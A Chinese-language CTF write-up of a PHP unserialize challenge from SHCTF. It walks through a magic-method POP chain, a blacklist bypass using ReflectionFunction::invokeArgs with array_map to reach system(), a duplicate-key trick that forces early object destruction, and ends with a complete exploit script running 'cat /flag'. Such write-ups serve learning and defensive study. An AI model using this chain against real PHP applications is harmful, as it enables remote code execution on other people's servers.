前言:反序列化比较薄弱,做得也比较少因此每次碰到都是两眼一黑,然后这次SHCTF中又出现了一个我没学到过的知识点,因此这里也再详细记录一下
题目源码如下:
php
<?php
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}
class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}
highlight_file(__FILE__);
error_reporting(0);
class Sun{
public $sun;
public function __destruct(){
die("Maybe you should fly to the ".$this->sun);
}
}
class Solar{
private $Sun;
public $Mercury;
public $Venus;
public $Earth;
public $Mars;
public $Jupiter;
public $Saturn;
public $Uranus;
public $Neptune;
public function __set($name,$key){
$this->Mars = $key;
$Dyson = $this->Mercury;
$Sphere = $this->Venus;
$Dyson->$Sphere($this->Mars);
}
public function __call($func,$args){
if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
}
else{
die("Black hole");
}
}
}
class Moon{
public $nearside;
public $farside;
public function __tostring(){
$starship = $this->nearside;
$starship();
return '';
}
}
class Earth{
public $onearth;
public $inearth;
public $outofearth;
public function __invoke(){
$oe = $this->onearth;
$ie = $this->inearth;
$ote = $this->outofearth;
$oe->$ie = $ote;
}
}
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}
一大串的还是得倒着看,我们先看要传的:
php
if(isset($_POST['travel'])){
$a = unserialize($_POST['travel']);
throw new Exception("How to Travel?");
}
这里我们可以控制的是travel,构造响应的php对象进行注入,但是后面有一个 throw new Exception("How to Travel?"); 按照正常流程的话是这样的:
php
unserialize -> throw Exception -> 程序终止
正常情况下,Sun 对象的 __destruct() 永远不会在想要的时间点触发,因为:
- unserialize() 成功返回后,$a 变量持有对象引用(refcount ≥ 1)。
- 接着执行 throw new Exception,异常立刻抛出 → 脚本开始错误处理 → 输出 "How to Travel?"。
- __destruct() 只有在脚本完全结束(shutdown 阶段)才会被调用,已经晚了。
这里就用到了GC提前销毁机制:利用解析错误强制提前回收。
核心目的 :让 Sun::__destruct() 在 unserialize() 函数内部就同步触发,这样后面的 throw 永远不会执行到,异常信息不会出现,RCE 链直接跑出 flag 并 die()。
底层原理(基于 PHP 引用计数 + 垃圾回收)
PHP 内存管理主要靠 引用计数(refcount):
- 每个对象都有一个 refcount,初始为 1(被变量引用)。
- refcount 降到 0 时,立即调用 __destruct() 并释放内存。
- 另外还有周期回收器(Cycle Collector)处理循环引用。
关键点 :在 unserialize() 解析过程中,PHP 是边扫描字符串边创建对象的。
如果我们故意把序列化字符串构造得格式错误),会发生:
- 解析器已经成功创建了 Sun、Moon、Earth、Solar 等对象(甚至已经执行了部分魔术方法)。
- 扫描到错误位置时,unserialize()提前抛出内部异常并中止(还没返回给 $a 变量)。
- PHP 为了"清理刚才临时创建的对象内存",会立即把这些对象的 refcount 强制归零。
- 于是 __destruct() 被同步调用(发生在 unserialize() 函数还没返回的时候)。
这时候我们整个链条已经跑完了,输出 flag 并 die(),后面的 throw 语句根本没机会执行。
接下来再看我们的调用链:
php
public function __call($func, $args) {
if (!preg_match("/exec|popen|system|...|array_map?.../i", $args[0])) {
$exploar = new $func($args[0]);
$road = $this->Jupiter;
$exploar->$road($this->Saturn);
} else {
die("Black hole");
}
}
我们想要的是能触发RCE的构造,但是这里直接执行system会被拦截,这里**ReflectionFunction + invokeArgs** 可以绕过。
**ReflectionFunction**属于PHP反射类,可以调用动态函数,就比如:
php
$f = new ReflectionFunction("system");
$f->invokeArgs(["id"]);
//等价于system("id")
题目中的执行方式:
php
$exploar->$road($this->Saturn);
如果我们令:
$exploar = ReflectionFunction
$road = invokeArgs
那么就会变成:
$exploar->invokeArgs(...)
而invokeArgs 需要数组参数,因此再利用array_map,那么整体应该是这样的:
php
<?php
highlight_file(__FILE__);
error_reporting(0);
$rf = new ReflectionFunction('array_map');
$rf->invokeArgs(["system",["dir"]]);
如何触发 Solar::__call
__call 是魔术方法,当调用不存在的方法时触发:
php
$Dyson->$Sphere($this->Mars);
所以要让 $Dyson 是 Solar 对象 ,并且 $Sphere 是一个不存在的方法名,就会触发 __call。
如何触发 Solar::__set
__set 是魔术方法,当访问不可访问属性时触发:
php
$oe->$ie = $ote
//这里 $oe 是 Solar 对象,$ie 是一个不存在的属性名 → 触发 __set。
如何触发 Earth::__invoke
__invoke 是魔术方法,当对象像函数一样被调用:
php
$starship();
//所以 $starship 必须是 Earth 对象。
如何触发 Moon::__toString
__toString 是魔术方法,当对象被当作字符串使用:
php
Maybe you should fly to " . $this->sun
//所以 $this->sun 是 Moon 对象 → 自动调用 __toString → 执行 $starship() → 调用 Earth::__invoke。
如何触发 Sun::__destruct
__destruct 是魔术方法,当对象被销毁时自动触发。
-
触发方式:GC 回收对象或者脚本结束
-
$sun是 Moon 对象 → 触发__toString链
最终的倒推形式如下:
php
[目标] system("id")
↑
ReflectionFunction->invokeArgs(...) # Solar::__call
↑
Solar::__call() # 调用不存在方法触发
↑
Solar::__set() # 动态赋值触发 __call
↑
Earth::__invoke() # 对象当作函数调用触发 __set
↑
Moon::__toString() # 对象当作字符串触发 __invoke
↑
Sun::__destruct() # 对象被销毁触发 __toString
[入口] GC/脚本结束后析构 Sun 对象
exp:
php
<?php
$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar = new Solar();
$sun->sun = $moon;
$moon->nearside = $earth;
$earth->onearth = $solar;
$earth->inearth = "test";
$earth->outofearth = "array_map";
$solar->Mercury = $solar;
$solar->Venus = "ReflectionFunction";
$solar->Jupiter = "invokeArgs";
$solar->Saturn = ["system",["cat /flag"]];
$arr = [
"a"=>$sun,
"b"=>NULL
];
$payload = serialize($arr);
/* 覆盖key触发GC */
$payload = str_replace('"b"', '"a"', $payload);
echo urlencode($payload);
